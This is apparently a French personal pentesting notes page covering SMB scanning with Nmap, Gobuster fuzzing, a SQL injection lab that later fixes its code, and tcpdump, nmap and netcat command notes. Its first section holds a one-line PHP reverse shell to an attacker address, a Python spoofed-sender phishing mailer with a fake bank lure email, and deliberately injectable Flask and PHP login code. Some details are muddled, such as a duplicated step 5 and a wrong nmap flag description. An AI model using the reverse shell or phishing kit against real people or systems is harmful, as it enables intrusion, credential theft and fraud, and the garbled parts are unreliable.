Pentips - perso

---

Tout d'abord, nous allons voir comment scanner des vulnérabilités SMB avec Nmap. SMB est un protocole de partage de fichiers Windows très utilisé. Les pirates informatiques utilisent souvent des scans de vulnérabilités pour trouver des failles et exploiter les systèmes vulnérables. Avec Nmap, nous pouvons facilement scanner un réseau pour trouver des ports ouverts et des vulnérabilités. Voici un exemple de commande Nmap pour scanner les vulnérabilités SMB :

nmap -p 445 --script smb-vuln-ms17-010 <IP address>
nmap -p 445 --script smb-vuln* <ip_address>
nmap -p 1-65535 <adresse IP>

Ensuite, nous allons voir comment générer un reverse shell PHP en une ligne de code. Un reverse shell permet à un pirate informatique d'avoir un accès distant au système vulnérable. Voici un exemple de code pour générer un reverse shell PHP :

php -r '$sock=fsockopen("<attacker IP address>",<attacker port>);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("<attacker_IP>",<attacker_port>);exec("/bin/sh -i <&3 >&3 2>&3");'

Nous allons également voir comment fuzz des fichiers XML avec Gobuster. Fuzzer un fichier XML signifie essayer de trouver des vulnérabilités en envoyant des données aléatoires et en observant comment le système réagit. Gobuster est un outil de fuzzing très utile pour trouver des fichiers cachés ou des vulnérabilités. Voici un exemple de commande Gobuster pour fuzz un fichier XML :

gobuster dir -u <URL> -w <wordlist> -x xml
gobuster dir -u <target_URL> -w <wordlist_file> -x xml
gobuster dir -u <target> -w /usr/share/wordlists/dirb/common.xml

Ensuite, nous allons voir comment générer un email de phishing. Le phishing est une technique d'attaque très courante où le pirate envoie un email trompeur à la victime pour obtenir des informations sensibles comme des mots de passe ou des numéros de carte de crédit. Voici un exemple de code pour générer un email de phishing :

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import smtplib

msg = MIMEMultipart()
msg['From'] = '<spoofed email address>'
msg['To'] = '<victim email address>'
msg['Subject'] = 'Important Message'

body = MIMEText('<phishing message>')
msg.attach(body)

image = open('<image file path>', 'rb').read()
image_mime = MIMEImage(image, name='<image file name>')
msg.attach(image_mime)

server = smtplib.SMTP('<SMTP server>', <SMTP port>)
server.starttls()
server.login('<spoofed email address>', '<spoofed email password>')
server.sendmail('<spoofed email address>', '<victim email address>', msg.as_string())
server.quit()

From: support@votrebanque.com
To: client@votrebanque.com
Subject: Urgent - Veuillez vérifier votre compte bancaire

Bonjour cher client,

Nous avons détecté une activité suspecte sur votre compte bancaire. Veuillez cliquer sur le lien ci-dessous pour vérifier votre compte et rétablir la sécurité.

<lien_malveillant>

Cordialement,
Le service client de votre banque

Enfin, pour générer un défi de capture du drapeau avec une vulnérabilité d'injection SQL, vous pouvez créer une application Web vulnérable en utilisant un framework tel que Flask ou Django. Vous pouvez ensuite ajouter une vulnérabilité d'injection SQL à l'application en ne faisant pas suffisamment attention à la façon dont les entrées utilisateur sont traitées. Vous pouvez alors créer un défi de capture du drapeau en demandant aux utilisateurs de trouver la vulnérabilité et de l'exploiter pour récupérer un drapeau caché.

Voici un exemple de code Python qui montre comment créer une application Web vulnérable avec Flask et une vulnérabilité d'injection SQL :

from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/')
def index():
    return '''
        <form method="POST" action="/search">
            <label>Recherche : </label>
            <input type="text" name="search">
            <input type="submit" value="Rechercher">
        </form>
    '''

@app.route('/search', methods=['POST'])
def search():
    search_query = request.form['search']
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    query = "SELECT * FROM products WHERE name='%s'" % search_query
    cursor.execute(query)
    results = cursor.fetchall()
    return str(results)

if __name__ == '__main__':
    app.run(debug=True)

Dans cet exemple, la fonction search() ne fait pas suffisamment attention à la façon dont l'entrée utilisateur est traitée et est donc vulnérable à une injection SQL. Cela signifie qu'un attaquant pourrait potentiellement utiliser cette vulnérabilité pour récupérer des informations confidentielles stockées dans la base de données.

En résumé, générer du code peut être une tâche complexe, mais il existe des outils et des frameworks qui peuvent vous aider à le faire plus facilement. Toutefois, il est important de faire attention aux vulnérabilités potentielles.

---

Exercice exploitation faille SQL

Très bien, voici un tutoriel pour exploiter une vulnérabilité d'injection SQL à des fins éducatives.

Matériel requis :

• Un ordinateur avec un système d'exploitation installé
• Une machine virtuelle avec un serveur web, une base de données et un langage de script côté serveur comme PHP installés
• Un navigateur web

Étape 1: Configurer la machine virtuelle

La première étape consiste à créer une machine virtuelle avec un serveur web, une base de données et un langage de script côté serveur comme PHP installés. Vous pouvez utiliser un outil de virtualisation comme VirtualBox ou VMware pour créer la machine virtuelle.

Vous pouvez installer les logiciels nécessaires sur la machine virtuelle en utilisant un gestionnaire de paquets comme apt ou yum. Par exemple, si vous utilisez Ubuntu, vous pouvez exécuter les commandes suivantes dans un terminal pour installer Apache, MySQL et PHP :

sudo apt-get update
sudo apt-get install apache2 mysql-server php

Étape 2: Créer une base de données

La deuxième étape consiste à créer une base de données pour stocker les données du site web. Vous pouvez utiliser PHPMyAdmin pour créer une base de données facilement.

Ouvrez un navigateur web et allez à http://localhost/phpmyadmin/. Connectez-vous avec l'utilisateur et le mot de passe appropriés pour votre installation de MySQL. Cliquez sur "Nouvelle base de données" et donnez-lui un nom.

Ensuite, créez une table appelée "utilisateurs" avec les champs "id", "nom", "email" et "mot de passe". La colonne "id" doit être une clé primaire auto-incrémentée.

Étape 3: Créer une page de connexion

La troisième étape consiste à créer une page de connexion qui vérifie les informations d'identification de l'utilisateur. Vous pouvez utiliser un formulaire HTML pour demander à l'utilisateur de saisir son nom d'utilisateur et son mot de passe.

Créez un fichier appelé "login.php" dans le répertoire racine de votre serveur web. Ajoutez le code suivant :

<!DOCTYPE html>
<html>
  <head>
    <title>Page de connexion</title>
  </head>
  <body>
    <h1>Connexion</h1>
    <form action="login.php" method="post">
      <label for="username">Nom d'utilisateur:</label>
      <input type="text" id="username" name="username" required><br><br>
      <label for="password">Mot de passe:</label>
      <input type="password" id="password" name="password" required><br><br>
      <input type="submit" value="Se connecter">
    </form>
  </body>
</html>

Ce code affichera un formulaire de connexion qui demandera à l'utilisateur de saisir son nom d'utilisateur et son mot de passe.

Étape 4: Vérifier les informations d'identification

La quatrième étape consiste à vérifier les informations d'identification de l'utilisateur en les comparant à la base de données. Vous pouvez utiliser une requête SQL pour récupérer les informations de l'utilisateur.

Modifiez le code du fichier "login.php" pour ajouter le code suivant :

// Vérifier les informations d'identification de l'utilisateur
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = $conn->query($sql);

// Si l'utilisateur est trouvé dans la base de données
if ($result->num_rows > 0) {
    // Connectez l'utilisateur et redirigez-le vers la page d'accueil
    session_start();
    $_SESSION['username'] = $username;
    header("Location: index.php");
} else {
    // Sinon, affichez un message d'erreur
    echo "Nom d'utilisateur ou mot de passe incorrect.";
}

Le code ci-dessus récupère le nom d'utilisateur et le mot de passe de l'utilisateur soumis via le formulaire de connexion. Il utilise ensuite une requête SQL pour récupérer les informations de l'utilisateur correspondantes dans la base de données. Si l'utilisateur est trouvé dans la base de données, la session est démarrée et l'utilisateur est redirigé vers la page d'accueil. Sinon, un message d'erreur est affiché.

Notez que le code ci-dessus est vulnérable à une injection SQL. Un attaquant pourrait soumettre un nom d'utilisateur malveillant ou un mot de passe qui inclut une instruction SQL, ce qui peut compromettre la sécurité de votre application. Nous allons aborder ce problème dans la prochaine étape.

Étape 5 : Correction de la vulnérabilité d'injection SQL

Pour corriger la vulnérabilité d'injection SQL, vous devez utiliser une requête préparée au lieu d'une requête SQL dynamique. Les requêtes préparées utilisent des paramètres qui sont envoyés séparément de la requête SQL elle-même, ce qui empêche les attaquants de modifier la requête SQL.

Modifiez le code de la quatrième étape pour utiliser une requête préparée. Remplacez le code SQL par le code suivant :

// Vérifier les informations d'identification de l'utilisateur
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE username = ? AND password = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();

// Si l'utilisateur est trouvé dans la base de données
if ($result->num_rows > 0) {
    // Connectez l'utilisateur et redirigez-le vers la page d'accueil
    session_start();
    $_SESSION['username'] = $username;
    header("Location: index.php");
} else {
    // Sinon, affichez un message d'erreur
    echo "Nom d'utilisateur ou mot de passe incorrect.";
}

Le code ci-dessus utilise une requête préparée pour récupérer les informations d'identification de l'utilisateur. Les valeurs des paramètres sont liées à la requête à l'aide de la méthode "bind_param()", qui utilise les types de données "s" pour les chaînes de caractères.

La méthode "bind_param()" est utilisée pour lier les paramètres de la requête à des variables PHP. Elle prend en charge un nombre variable de paramètres, qui représentent les valeurs à lier à la requête. Dans cet exemple, la requête contient deux paramètres, qui sont liés à deux variables PHP à l'aide de la méthode "bind_param()".

Le premier argument de la méthode "bind_param()" est une chaîne de caractères qui définit les types de données des paramètres. Dans cet exemple, la chaîne de caractères contient deux lettres "s", ce qui signifie que les paramètres sont des chaînes de caractères. Si le paramètre était un entier, la lettre "i" serait utilisée à la place de la lettre "s".

La méthode "bind_param()" est suivie d'une exécution de la requête à l'aide de la méthode "execute()". Cette méthode exécute la requête avec les paramètres liés et stocke le résultat dans un objet "mysqli_result".

Étape 5: Authentifier l'utilisateur

La cinquième étape consiste à authentifier l'utilisateur en comparant les informations d'identification qu'il a fournies aux informations stockées dans la base de données. Si les informations correspondent, l'utilisateur est considéré comme authentifié et est redirigé vers la page d'accueil du site. Sinon, un message d'erreur est affiché et l'utilisateur est invité à réessayer.

Modifiez le code du fichier "login.php" pour ajouter le code suivant :

if ($result->num_rows == 1) {
    $row = $result->fetch_assoc();
    if (password_verify($password, $row['password'])) {
        $_SESSION['loggedin'] = true;
        $_SESSION['username'] = $username;
        header("Location: index.php");
    } else {
        $error = "Mauvais nom d'utilisateur ou mot de passe.";
    }
} else {
    $error = "Mauvais nom d'utilisateur ou mot de passe.";
}

Ce code vérifie si la requête a renvoyé une seule ligne, ce qui signifie que les informations d'identification sont valides. Si les informations d'identification sont valides, la fonction "password_verify()" est utilisée pour comparer le mot de passe fourni avec le mot de passe stocké dans la base de données. Si les mots de passe correspondent, la session de l'utilisateur est initialisée et il est redirigé vers la page d'accueil. Sinon, un message d'erreur est affiché et l'utilisateur est invité à réessayer.

Étape 6: Déconnecter l'utilisateur

La sixième et dernière étape consiste à permettre à l'utilisateur de se déconnecter en supprimant sa session. Cela peut être réalisé en ajoutant un lien "Déconnexion" sur la page d'accueil, qui redirige l'utilisateur vers une page "logout.php" qui supprime la session.

Créez un nouveau fichier "logout.php" avec le code suivant :

<?php
session_start();
session_destroy();
header("Location: login.php");
?>

Ce code détruit la session de l'utilisateur et redirige l'utilisateur vers la page de connexion. En détruisant la session, toutes les variables de session sont supprimées, ce qui empêche l'utilisateur d'accéder aux pages protégées sans s'authentifier à nouveau.

Modifiez le fichier "logout.php" avec le code suivant :

<?php
session_start();

// Détruire toutes les variables de session
$_SESSION = array();

// Détruire la session
session_destroy();

// Rediriger l'utilisateur vers la page de connexion
header("location: login.php");
exit;
?>

Une fois ce code ajouté, l'utilisateur pourra se déconnecter en cliquant sur un bouton "Déconnexion" qui appellera le fichier "logout.php". Ce fichier détruira la session de l'utilisateur et le redirigera vers la page de connexion.

Il est important de noter que le code présenté ici est destiné à des fins éducatives et n'est pas destiné à être utilisé dans un environnement de production sans être testé et validé en amont. Les exemples de code présentés ici ne couvrent pas toutes les éventualités et ne représentent pas les meilleures pratiques de sécurité pour une application réelle. Il est important de mettre en place des mesures de sécurité appropriées pour toute application en production.

---

Sécutité Réseau : Commandes importantes

Afficher les trames ICMP reçues :

tcpdump -i ethX icmp

Afficher les trames ICMP reçu d'un poste en particulier :

tcpdump -i ethX icmp and host XXX.XXX.XXX.XXX

Afficher les trames ICMP reçu de plusieurs postes en particulier :

tcpdump -i ethX icmp and \(host XXX.XXX.XXX.XXX or host XXX.XXX.XXX.XXX)

Commande pour accepter toutes les communications ICMP avec un réseau (exemple réseau 10 ici)

tcpdump -i ethX icmp and net 10.0.10.0/24

Afficher que les trames dont la source est dans le réseau 10 (exemple lorsque le réseau 20 reçoit un ping il ne voit que le ICMP echo request pas le reply)

tcpdump -i ethX icmp and src net 10.0.10.0/24

On peut aussi inverser la commande en n'affichant que les ping vers le réseau 10 en remplaçant "src" par "dst"

Nous pouvons aussi remplacer "ICMP" par un autre nom de protocole comme TCP ou UDP afin de n'analyser que les trames de ce protocole :

tcpdump -i ethX tcp and src net 10.0.10.0/24

Nous pouvons aussi afficher les adresses IP et les ports de protocole a la place du nom de la machine et du nom de protocole en ajoutant :

-n

Nous pouvons aussi créer un fichier afin de sauvegarder les analyses de trames faites via tcpdump en ajoutant :

-w

Et l'ouvrir a l'aide de wireshark en faisant : wireshark nom_du_fichier

Sur Wireshark une fois la trame analysée et le filtre appliquer, afin de savoir quel matériel est le plus actif nous devont séléctionner dans "Statistics/conversations" et voir quel matériel a envoyé les plus gros paquets puis regarder son adresse mac.

Faire une capture de trame en tant que root afin de l'analyser en tant que user (pour plus de sécurité)

sudo dumpcap -i eth0 -P -w - | wireshark -k -i -

-P est l'option qui permet de sauvegarder au format libpcap

traceroute XXX.XXX.XXX.XXX : Sert a indiquer le chemin jusqu'a a cible en ajoutant -n : indique l'adresse IP des routeurs par lesquels ils passent -I (majuscule) permet de trouver la route grace au protocole ICMP

ping -R XXX.XXX.XXX.XXX : Le -R indique la route utilisée en aller et retour par le ping

---

dig NS nom.de.domaine +short

+short permet de n'afficher que la ligne que l'on veut afficher. Si nous rajoutons une adresse IP (@8.8.8.8) d'un serveur DNS comme celui de google on voit alors quel DNS possede l'IP du serveur que nous voulons contacter

• nmap -sn 10.0.10.0/24 : Affiche l'adresse MAC, IP et le temps de réponse de chaque machines sur le réseau
• -sn scan les machines du réseau et non les ports
• -sL il utilise la résoltion DNS inversé pour n'envoyer aucun paquet suspect aux cibles.
• -p 22 permet de scanner un port précis (ici le port 22). On peut ajouter une range pour scanner plusieurs port en les séparant avec un ‘-‘ (1330-1340)
• -sU XXX.XXX.XXX.XXX permet un scan UDP sur la cible
• -sS XXX.XXX.XXX.XXX permet de faire un scan TCP et UDP sur la cible
• -sV XXX.XXX.XXX.XXX permet de tester les ports ouverts pour déterminer le service en écoute et la version du service.
• -O XXX.XXX.XXX.XXX permet d’afficher la version OS de la cible

nestat -lt

Affiche la liste des services en écoute

• -ltn affiche la liste des services en écoute + le port.
  • -p permet d'afficher les programmes en attente.
• -lapute affiche la liste des services utilisés, par qui et vers qui.
• -laputen modifie les noms des machines et des protocoles par l'adresse IP et le numero du protocole

Nc –l –p 1337

Netcat permet d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP. -l permet d’écouter les connexions entrantes -p 1337 permet de choisir sur quel port (ici le port 1337)

apt-cache show nom_du_service Permet d’afficher la version du service choisi. En ajoutant | grep Version, permet d’afficher uniquement la version